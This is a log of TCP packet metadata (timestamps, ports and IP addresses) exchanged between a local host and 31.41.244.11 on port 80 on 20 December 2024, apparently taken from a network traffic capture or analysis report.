Dec 20, 2024 11:12:13.861510992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.861592054 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.861639977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.862525940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.862571001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.862701893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.862746954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.863600016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.863666058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.863668919 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.863729000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.864734888 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.864797115 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.864845037 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.864890099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.865777016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.865833998 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.865881920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.865986109 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.866916895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.866971016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.866978884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.867022038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.867989063 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.868041039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.868067980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.868119001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.869055986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.869117022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.869184017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.869231939 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.870131016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.870192051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.870229959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.870280027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.871232986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.871299028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.871308088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.871364117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.872301102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.872370958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.872411013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.872458935 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.873452902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.873523951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.873543024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.873594999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.874500036 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.874566078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.874630928 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.874681950 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.875720024 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.875776052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.875785112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.875825882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.876673937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.876732111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.876811981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.876912117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.877969980 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.878038883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.878045082 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.878107071 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.878895998 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.878977060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.879008055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.879074097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.880008936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.880058050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.880126953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.880172014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.881058931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.881109953 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.881171942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.881216049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.882101059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.882148027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.882214069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.882261038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.883219004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.883280039 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.883335114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.883382082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.884258986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.884324074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.884388924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.884437084 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.885405064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.885457993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.885499954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.885557890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.886426926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.886482000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.886547089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.886595011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.887538910 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.887598038 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.887653112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.887698889 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.888641119 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.888695002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.888761997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.888808966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.889709949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.889770985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.889892101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.889940977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.890889883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.890944004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.890964985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.891011000 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.891884089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.891937017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.891997099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.892066956 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.892968893 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.893023968 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.893093109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.893141985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.894125938 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.894180059 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.894184113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.894224882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.895150900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.895207882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.895262003 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.895317078 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.896426916 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.896490097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.896560907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.896612883 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.897691965 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.897753954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.897805929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.897857904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.898678064 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.898740053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.898819923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.898874044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.899733067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.899789095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.899849892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.899904013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.900729895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.900767088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.900784016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.900810003 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.901715040 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.901771069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.901834011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.901886940 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.902765989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.902810097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.902892113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.902946949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:13.903795004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:13.903846025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.039407015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.039463997 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.039511919 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.039563894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.039599895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.039608002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.039730072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.039781094 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.040879011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.040934086 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.040966034 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.041013002 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.042016983 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.042068958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.042069912 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.042119980 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.043020964 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.043075085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.043075085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.043118954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.043869019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.043929100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.043989897 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.044040918 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.045030117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.045078993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.045097113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.045147896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.046071053 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.046120882 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.046189070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.046238899 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.047148943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.047197104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.047261953 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.047308922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.048202038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.048250914 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.048321962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.048367977 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.049324989 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.049375057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.049477100 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.049524069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.050432920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.050486088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.050510883 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.050564051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.051492929 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.051542997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.051552057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.051599026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.052572966 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.052619934 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.052700996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.052747011 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.053647995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.053695917 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.053704023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.053751945 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.054745913 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.054791927 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.054872990 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.054914951 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.055815935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.055859089 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.055922985 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.055963993 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.056929111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.056972027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.056997061 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.057044983 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.058028936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.058075905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.058151007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.058193922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.059117079 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.059159994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.059204102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.059247971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.060149908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.060256958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.060269117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.060308933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.061255932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.061304092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.061352968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.061395884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.062331915 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.062377930 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.062444925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.062489033 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.063514948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.063558102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.063571930 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.063613892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.064515114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.064564943 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.064610004 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.064651012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.065597057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.065640926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.065737009 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.065783024 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.066692114 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.066736937 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.066800117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.066843987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.067785978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.067835093 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.067856073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.067899942 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.068885088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.068929911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.068974972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.069016933 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.069977045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.070023060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.070090055 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.070132971 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.071083069 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.071125984 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.071168900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.071212053 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.072119951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.072166920 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.072211981 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.072254896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.073205948 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.073249102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.073295116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.073335886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.074296951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.074342012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.074395895 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.074438095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.075397015 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.075440884 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.075490952 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.075534105 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.076473951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.076519012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.076565027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.076608896 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.077562094 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.077605963 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.077701092 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.077747107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.078701019 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.078718901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.078747034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.078763008 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.079744101 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.079799891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.079803944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.079849958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.080840111 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.080885887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.080928087 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.080985069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.081919909 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.081964970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.082010984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.082058907 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.083141088 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.083197117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.083240986 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.083282948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.084100962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.084146023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.084186077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.084228992 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.085249901 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.085293055 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.085558891 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.085602999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.086266994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.086318016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.086401939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.086441994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.087405920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 20, 2024 11:12:14.087450027 CET	49768	80	192.168.2.4	31.41.244.11
Dec 20, 2024 11:12:14.087487936 CET	80	49768	31.41.244.11	192.168.2.4
